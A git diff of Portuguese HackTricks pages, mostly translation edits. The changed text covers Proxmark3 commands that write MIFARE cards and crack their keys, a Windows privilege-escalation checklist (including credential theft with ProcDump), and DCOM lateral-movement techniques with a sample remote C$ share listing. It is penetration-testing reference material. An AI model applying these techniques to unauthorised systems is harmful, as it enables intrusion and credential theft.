* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
@ -14,7 +14,7 @@
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -49,7 +49,7 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
|
||||||
proxmark3> hf mf eget 01 # Read block 1
|
proxmark3> hf mf eget 01 # Read block 1
|
||||||
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
|
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
|
||||||
```
|
```
|
||||||
O Proxmark3 permite realizar outras ações como **interceptar** a **comunicação entre o Tag e o Leitor** para tentar encontrar dados sensíveis. Neste cartão, você pode simplesmente interceptar a comunicação e calcular a chave usada porque as **operações criptográficas utilizadas são fracas** e, conhecendo o texto simples e cifrado, você pode calculá-la (ferramenta `mfkey64`).
|
O Proxmark3 permite realizar outras ações como **interceptar** a **comunicação Tag para Leitor** para tentar encontrar dados sensíveis. Neste cartão, você pode simplesmente interceptar a comunicação e calcular a chave usada porque as **operações criptográficas utilizadas são fracas** e, conhecendo o texto simples e cifrado, você pode calculá-la (ferramenta `mfkey64`).
|
||||||
|
|
||||||
### Comandos Raw
|
### Comandos Raw
|
||||||
|
|
||||||
|
@ -63,7 +63,7 @@ No chinese magic backdoor command detected
|
||||||
Prng detection: WEAK
|
Prng detection: WEAK
|
||||||
Valid ISO14443A Tag Found - Quiting Search
|
Valid ISO14443A Tag Found - Quiting Search
|
||||||
```
|
```
|
||||||
Com essa informação, você poderia tentar buscar informações sobre o cartão e sobre a forma de se comunicar com ele. O Proxmark3 permite enviar comandos brutos como: `hf 14a raw -p -b 7 26`
|
Com essa informação, você pode tentar buscar informações sobre o cartão e sobre a forma de se comunicar com ele. O Proxmark3 permite enviar comandos brutos como: `hf 14a raw -p -b 7 26`
|
||||||
|
|
||||||
### Scripts
|
### Scripts
|
||||||
|
|
||||||
|
@ -71,11 +71,11 @@ O software Proxmark3 vem com uma lista pré-carregada de **scripts de automaçã
|
||||||
```
|
```
|
||||||
proxmark3> script run mfkeys
|
proxmark3> script run mfkeys
|
||||||
```
|
```
|
||||||
Você pode criar um script para **fuzz tag readers**, copiando os dados de um **cartão válido** e escrevendo um **script Lua** que **randomize** um ou mais **bytes aleatórios** e verifique se o **leitor trava** com qualquer iteração.
|
Pode criar um script para **fuzz tag readers**, copiando os dados de um **cartão válido** apenas escreva um **script Lua** que **randomize** um ou mais **bytes aleatórios** e verifique se o **leitor trava** com qualquer iteração.
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
|
|
@ -6,17 +6,17 @@
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -28,9 +28,9 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* [ ] Obter [**informações do sistema**](windows-local-privilege-escalation/#system-info)
|
* [ ] Obter [**informações do sistema**](windows-local-privilege-escalation/#system-info)
|
||||||
* [ ] Procurar por **exploits de kernel usando scripts**](windows-local-privilege-escalation/#version-exploits)
|
* [ ] Procurar por **exploits de kernel usando scripts**](windows-local-privilege-escalation/#version-exploits)
|
||||||
* [ ] Usar o **Google para pesquisar** por exploits de kernel
|
* [ ] Usar o **Google para pesquisar** por **exploits de kernel**
|
||||||
* [ ] Usar o **searchsploit para pesquisar** por exploits de kernel
|
* [ ] Usar o **searchsploit para pesquisar** por **exploits de kernel**
|
||||||
* [ ] Informações interessantes em [**vars de ambiente**](windows-local-privilege-escalation/#environment)?
|
* [ ] Informações interessantes em [**variáveis de ambiente**](windows-local-privilege-escalation/#environment)?
|
||||||
* [ ] Senhas no [**histórico do PowerShell**](windows-local-privilege-escalation/#powershell-history)?
|
* [ ] Senhas no [**histórico do PowerShell**](windows-local-privilege-escalation/#powershell-history)?
|
||||||
* [ ] Informações interessantes nas [**configurações de Internet**](windows-local-privilege-escalation/#internet-settings)?
|
* [ ] Informações interessantes nas [**configurações de Internet**](windows-local-privilege-escalation/#internet-settings)?
|
||||||
* [ ] [**Drives**](windows-local-privilege-escalation/#drives)?
|
* [ ] [**Drives**](windows-local-privilege-escalation/#drives)?
|
||||||
|
@ -46,46 +46,46 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* [ ] [**Guarda de Credenciais**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
|
* [ ] [**Guarda de Credenciais**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
|
||||||
* [ ] [**Credenciais em Cache**](windows-local-privilege-escalation/#cached-credentials)?
|
* [ ] [**Credenciais em Cache**](windows-local-privilege-escalation/#cached-credentials)?
|
||||||
* [ ] Verificar se há algum [**AV**](windows-av-bypass)
|
* [ ] Verificar se há algum [**AV**](windows-av-bypass)
|
||||||
* [**Política AppLocker**](authentication-credentials-uac-and-efs#applocker-policy)?
|
* [ ] [**Política AppLocker**](authentication-credentials-uac-and-efs#applocker-policy)?
|
||||||
* [**UAC**](authentication-credentials-uac-and-efs/uac-user-account-control)
|
* [ ] [**UAC**](authentication-credentials-uac-and-efs/uac-user-account-control)
|
||||||
* [**Privilégios do Usuário**](windows-local-privilege-escalation/#users-and-groups)
|
* [ ] [**Privilégios de Usuário**](windows-local-privilege-escalation/#users-and-groups)
|
||||||
* Verificar os [**privilégios atuais** do usuário](windows-local-privilege-escalation/#users-and-groups)
|
* [ ] Verificar os [**privilégios atuais** do usuário](windows-local-privilege-escalation/#users-and-groups)
|
||||||
* Você é [**membro de algum grupo privilegiado**](windows-local-privilege-escalation/#privileged-groups)?
|
* [ ] Você é [**membro de algum grupo privilegiado**](windows-local-privilege-escalation/#privileged-groups)?
|
||||||
* Verificar se você tem [algum desses tokens habilitados](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
* [ ] Verificar se você tem [alguns desses tokens habilitados](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||||
* [**Sessões de Usuários**](windows-local-privilege-escalation/#logged-users-sessions)?
|
* [ ] [**Sessões de Usuários**](windows-local-privilege-escalation/#logged-users-sessions)?
|
||||||
* Verificar [**diretórios dos usuários**](windows-local-privilege-escalation/#home-folders) (acesso?)
|
* [ ] Verificar [**diretórios dos usuários**](windows-local-privilege-escalation/#home-folders) (acesso?)
|
||||||
* Verificar a [**Política de Senhas**](windows-local-privilege-escalation/#password-policy)
|
* [ ] Verificar a [**Política de Senhas**](windows-local-privilege-escalation/#password-policy)
|
||||||
* O que há [**dentro da Área de Transferência**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)?
|
* [ ] O que há [**dentro da Área de Transferência**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)?
|
||||||
|
|
||||||
### [Rede](windows-local-privilege-escalation/#network)
|
### [Rede](windows-local-privilege-escalation/#network)
|
||||||
|
|
||||||
* Verificar as **informações atuais da** [**rede**](windows-local-privilege-escalation/#network)
|
* [ ] Verificar as **informações de rede atuais**](windows-local-privilege-escalation/#network)
|
||||||
* Verificar **serviços locais ocultos** restritos ao exterior
|
* [ ] Verificar **serviços locais ocultos** restritos ao exterior
|
||||||
|
|
||||||
### [Processos em Execução](windows-local-privilege-escalation/#running-processes)
|
### [Processos em Execução](windows-local-privilege-escalation/#running-processes)
|
||||||
|
|
||||||
* Permissões de arquivos e pastas dos binários dos processos](windows-local-privilege-escalation/#file-and-folder-permissions)
|
* [ ] Permissões de arquivos e pastas dos binários dos processos](windows-local-privilege-escalation/#file-and-folder-permissions)
|
||||||
* [**Mineração de Senhas na Memória**](windows-local-privilege-escalation/#memory-password-mining)
|
* [ ] [**Mineração de Senhas na Memória**](windows-local-privilege-escalation/#memory-password-mining)
|
||||||
* [**Aplicativos GUI Inseguros**](windows-local-privilege-escalation/#insecure-gui-apps)
|
* [ ] [**Aplicativos GUI Inseguros**](windows-local-privilege-escalation/#insecure-gui-apps)
|
||||||
* Roubar credenciais com **processos interessantes** via `ProcDump.exe` ? (firefox, chrome, etc ...)
|
* [ ] Roubar credenciais com **processos interessantes** via `ProcDump.exe` ? (firefox, chrome, etc ...)
|
||||||
|
|
||||||
### [Serviços](windows-local-privilege-escalation/#services)
|
### [Serviços](windows-local-privilege-escalation/#services)
|
||||||
|
|
||||||
* [Você pode **modificar algum serviço**?](windows-local-privilege-escalation#permissions)
|
* [ ] [Você pode **modificar algum serviço**?](windows-local-privilege-escalation#permissions)
|
||||||
* [Você pode **modificar** o **binário** que é **executado** por algum **serviço**?](windows-local-privilege-escalation/#modify-service-binary-path)
|
* [ ] [Você pode **modificar** o **binário** que é **executado** por algum **serviço**?](windows-local-privilege-escalation/#modify-service-binary-path)
|
||||||
* [Você pode **modificar** o **registro** de algum **serviço**?](windows-local-privilege-escalation/#services-registry-modify-permissions)
|
* [ ] [Você pode **modificar** o **registro** de algum **serviço**?](windows-local-privilege-escalation/#services-registry-modify-permissions)
|
||||||
* [Você pode aproveitar algum **caminho de binário de serviço** não citado?](windows-local-privilege-escalation/#unquoted-service-paths)
|
* [ ] [Você pode aproveitar algum **caminho de binário de serviço** **não citado**?](windows-local-privilege-escalation/#unquoted-service-paths)
|
||||||
|
|
||||||
### [**Aplicativos**](windows-local-privilege-escalation/#applications)
|
### [**Aplicativos**](windows-local-privilege-escalation/#applications)
|
||||||
|
|
||||||
* **Permissões de escrita em aplicativos instalados**](windows-local-privilege-escalation/#write-permissions)
|
* [ ] **Permissões de escrita em aplicativos instalados**](windows-local-privilege-escalation/#write-permissions)
|
||||||
* [**Aplicativos de Inicialização**](windows-local-privilege-escalation/#run-at-startup)
|
* [ ] [**Aplicativos de Inicialização**](windows-local-privilege-escalation/#run-at-startup)
|
||||||
* **Drivers** [**Vulneráveis**](windows-local-privilege-escalation/#drivers)
|
* [ ] **Drivers** [**Vulneráveis**](windows-local-privilege-escalation/#drivers)
|
||||||
### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking)
|
### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking)
|
||||||
|
|
||||||
* [ ] Você consegue **escrever em qualquer pasta dentro do PATH**?
|
* [ ] Você consegue **escrever em qualquer pasta dentro do PATH**?
|
||||||
* [ ] Existe algum binário de serviço conhecido que **tenta carregar algum DLL inexistente**?
|
* [ ] Existe algum binário de serviço conhecido que **tenta carregar algum DLL inexistente**?
|
||||||
* [ ] Você consegue **escrever** em alguma **pasta de binários**?
|
* [ ] Você consegue **escrever** em qualquer **pasta de binários**?
|
||||||
|
|
||||||
### [Rede](windows-local-privilege-escalation/#network)
|
### [Rede](windows-local-privilege-escalation/#network)
|
||||||
|
|
||||||
|
@ -97,30 +97,30 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* [ ] Credenciais do [**Winlogon**](windows-local-privilege-escalation/#winlogon-credentials)
|
* [ ] Credenciais do [**Winlogon**](windows-local-privilege-escalation/#winlogon-credentials)
|
||||||
* [ ] Credenciais do [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) que você poderia usar?
|
* [ ] Credenciais do [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) que você poderia usar?
|
||||||
* [ ] Credenciais [**DPAPI interessantes**](windows-local-privilege-escalation/#dpapi)?
|
* [ ] Credenciais [**DPAPI interessantes**](windows-local-privilege-escalation/#dpapi)?
|
||||||
* [ ] Senhas de redes [**Wifi salvas**](windows-local-privilege-escalation/#wifi)?
|
* [ ] Senhas de redes Wi-Fi salvas [**Wifi networks**](windows-local-privilege-escalation/#wifi)?
|
||||||
* [ ] Informações interessantes em [**Conexões RDP salvas**](windows-local-privilege-escalation/#saved-rdp-connections)?
|
* [ ] Informações interessantes em [**conexões RDP salvas**](windows-local-privilege-escalation/#saved-rdp-connections)?
|
||||||
* [ ] Senhas em [**comandos recentemente executados**](windows-local-privilege-escalation/#recently-run-commands)?
|
* [ ] Senhas em [**comandos recentemente executados**](windows-local-privilege-escalation/#recently-run-commands)?
|
||||||
* [ ] Senhas do [**Gerenciador de Credenciais do Remote Desktop**](windows-local-privilege-escalation/#remote-desktop-credential-manager)?
|
* [ ] Senhas do [**Gerenciador de Credenciais do Remote Desktop**](windows-local-privilege-escalation/#remote-desktop-credential-manager)?
|
||||||
* [ ] [**AppCmd.exe** existe](windows-local-privilege-escalation/#appcmd-exe)? Credenciais?
|
* [ ] [**AppCmd.exe** existe](windows-local-privilege-escalation/#appcmd-exe)? Credenciais?
|
||||||
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? Carregamento Lateral de DLL?
|
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? Carregamento lateral de DLL?
|
||||||
|
|
||||||
### [Arquivos e Registro (Credenciais)](windows-local-privilege-escalation/#files-and-registry-credentials)
|
### [Arquivos e Registro (Credenciais)](windows-local-privilege-escalation/#files-and-registry-credentials)
|
||||||
|
|
||||||
* [ ] **Putty:** [**Credenciais**](windows-local-privilege-escalation/#putty-creds) **e** [**Chaves de host SSH**](windows-local-privilege-escalation/#putty-ssh-host-keys)
|
* [ ] **Putty:** [**Credenciais**](windows-local-privilege-escalation/#putty-creds) **e** [**chaves de host SSH**](windows-local-privilege-escalation/#putty-ssh-host-keys)
|
||||||
* [ ] [**Chaves SSH no registro**](windows-local-privilege-escalation/#ssh-keys-in-registry)?
|
* [ ] [**Chaves SSH no registro**](windows-local-privilege-escalation/#ssh-keys-in-registry)?
|
||||||
* [ ] Senhas em [**arquivos não assistidos**](windows-local-privilege-escalation/#unattended-files)?
|
* [ ] Senhas em [**arquivos não assistidos**](windows-local-privilege-escalation/#unattended-files)?
|
||||||
* [ ] Algum backup de [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups)?
|
* [ ] Algum backup de [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups)?
|
||||||
* [ ] [**Credenciais de nuvem**](windows-local-privilege-escalation/#cloud-credentials)?
|
* [ ] [**Credenciais de nuvem**](windows-local-privilege-escalation/#cloud-credentials)?
|
||||||
* [ ] Arquivo [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml)?
|
* [ ] Arquivo [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml)?
|
||||||
* [ ] [**Senha GPP em cache**](windows-local-privilege-escalation/#cached-gpp-pasword)?
|
* [ ] [**Senha GPP em cache**](windows-local-privilege-escalation/#cached-gpp-pasword)?
|
||||||
* [ ] Senha no [**arquivo de configuração web do IIS**](windows-local-privilege-escalation/#iis-web-config)?
|
* [ ] Senha em [**arquivo de configuração web do IIS**](windows-local-privilege-escalation/#iis-web-config)?
|
||||||
* [ ] Informações interessantes em [**logs web**](windows-local-privilege-escalation/#logs)?
|
* [ ] Informações interessantes em [**logs web**](windows-local-privilege-escalation/#logs)?
|
||||||
* [ ] Você deseja [**solicitar credenciais**](windows-local-privilege-escalation/#ask-for-credentials) ao usuário?
|
* [ ] Você deseja [**solicitar credenciais**](windows-local-privilege-escalation/#ask-for-credentials) ao usuário?
|
||||||
* [ ] Arquivos interessantes dentro da [**Lixeira**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
|
* [ ] Arquivos interessantes dentro da [**Lixeira**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
|
||||||
* [ ] Outro [**registro contendo credenciais**](windows-local-privilege-escalation/#inside-the-registry)?
|
* [ ] Outro [**registro contendo credenciais**](windows-local-privilege-escalation/#inside-the-registry)?
|
||||||
* [ ] Dentro de [**Dados do Navegador**](windows-local-privilege-escalation/#browsers-history) (bancos de dados, histórico, favoritos, ...)?
|
* [ ] Dentro de [**dados do navegador**](windows-local-privilege-escalation/#browsers-history) (bancos de dados, histórico, favoritos, ...)?
|
||||||
* [**Pesquisa genérica de senha**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) em arquivos e registro
|
* [**Pesquisa genérica de senha**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) em arquivos e registro
|
||||||
* [**Ferramentas**](windows-local-privilege-escalation/#tools-that-search-for-passwords) para buscar automaticamente senhas
|
* [**Ferramentas**](windows-local-privilege-escalation/#tools-that-search-for-passwords) para pesquisar automaticamente senhas
|
||||||
|
|
||||||
### [Manipuladores Vazados](windows-local-privilege-escalation/#leaked-handlers)
|
### [Manipuladores Vazados](windows-local-privilege-escalation/#leaked-handlers)
|
||||||
|
|
||||||
|
@ -132,7 +132,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -146,6 +146,6 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,10 +1,10 @@
|
||||||
# DCOM Execução
|
# DCOM Exec
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
@ -12,9 +12,9 @@
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -25,7 +25,7 @@
|
||||||
**Para mais informações sobre essa técnica, confira o post original em [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
**Para mais informações sobre essa técnica, confira o post original em [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
||||||
|
|
||||||
|
|
||||||
Objetos do Modelo de Objeto de Componente Distribuído (DCOM) apresentam uma capacidade interessante para interações baseadas em rede com objetos. A Microsoft fornece documentação abrangente tanto para DCOM quanto para o Modelo de Objeto de Componente (COM), acessível [aqui para DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) e [aqui para COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Uma lista de aplicações DCOM pode ser obtida usando o comando PowerShell:
|
O Modelo de Objeto de Componente Distribuído (DCOM) apresenta uma capacidade interessante para interações baseadas em rede com objetos. A Microsoft fornece documentação abrangente tanto para DCOM quanto para Modelo de Objeto de Componente (COM), acessível [aqui para DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) e [aqui para COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Uma lista de aplicações DCOM pode ser obtida usando o comando PowerShell:
|
||||||
```bash
|
```bash
|
||||||
Get-CimInstance Win32_DCOMApplication
|
Get-CimInstance Win32_DCOMApplication
|
||||||
```
|
```
|
||||||
|
@ -55,12 +55,12 @@ ls \\10.10.10.10\c$\Users
|
||||||
|
|
||||||
**Para mais informações sobre essa técnica, consulte o post original [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
|
**Para mais informações sobre essa técnica, consulte o post original [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
|
||||||
|
|
||||||
O objeto **MMC20.Application** foi identificado como carente de "LaunchPermissions" explícitos, sendo predefinido com permissões que permitem acesso de Administradores. Para mais detalhes, um tópico pode ser explorado [aqui](https://twitter.com/tiraniddo/status/817532039771525120), e é recomendado o uso da ferramenta de [@tiraniddo](https://twitter.com/tiraniddo) OleView .NET para filtrar objetos sem permissão de lançamento explícita.
|
O objeto **MMC20.Application** foi identificado como carente de "LaunchPermissions" explícitos, recorrendo a permissões que permitem acesso de Administradores. Para mais detalhes, um tópico pode ser explorado [aqui](https://twitter.com/tiraniddo/status/817532039771525120), e é recomendado o uso da ferramenta de [@tiraniddo](https://twitter.com/tiraniddo) OleView .NET para filtrar objetos sem permissão de lançamento explícita.
|
||||||
|
|
||||||
Dois objetos específicos, `ShellBrowserWindow` e `ShellWindows`, foram destacados devido à falta de Permissões de Lançamento explícitas. A ausência de uma entrada de registro `LaunchPermission` em `HKCR:\AppID\{guid}` significa a ausência de permissões explícitas.
|
Dois objetos específicos, `ShellBrowserWindow` e `ShellWindows`, foram destacados devido à falta de Permissões de Lançamento explícitas. A ausência de uma entrada de registro `LaunchPermission` em `HKCR:\AppID\{guid}` significa a ausência de permissões explícitas.
|
||||||
|
|
||||||
### ShellWindows
|
### ShellWindows
|
||||||
Para `ShellWindows`, que não possui um ProgID, os métodos .NET `Type.GetTypeFromCLSID` e `Activator.CreateInstance` facilitam a instanciação do objeto usando seu AppID. Esse processo aproveita o OleView .NET para recuperar o CLSID para `ShellWindows`. Uma vez instanciado, a interação é possível através do método `WindowsShell.Item`, levando à invocação de métodos como `Document.Application.ShellExecute`.
|
Para `ShellWindows`, que não possui um ProgID, os métodos .NET `Type.GetTypeFromCLSID` e `Activator.CreateInstance` facilitam a instanciação do objeto usando seu AppID. Esse processo utiliza o OleView .NET para recuperar o CLSID para `ShellWindows`. Uma vez instanciado, a interação é possível através do método `WindowsShell.Item`, levando à invocação de métodos como `Document.Application.ShellExecute`.
|
||||||
|
|
||||||
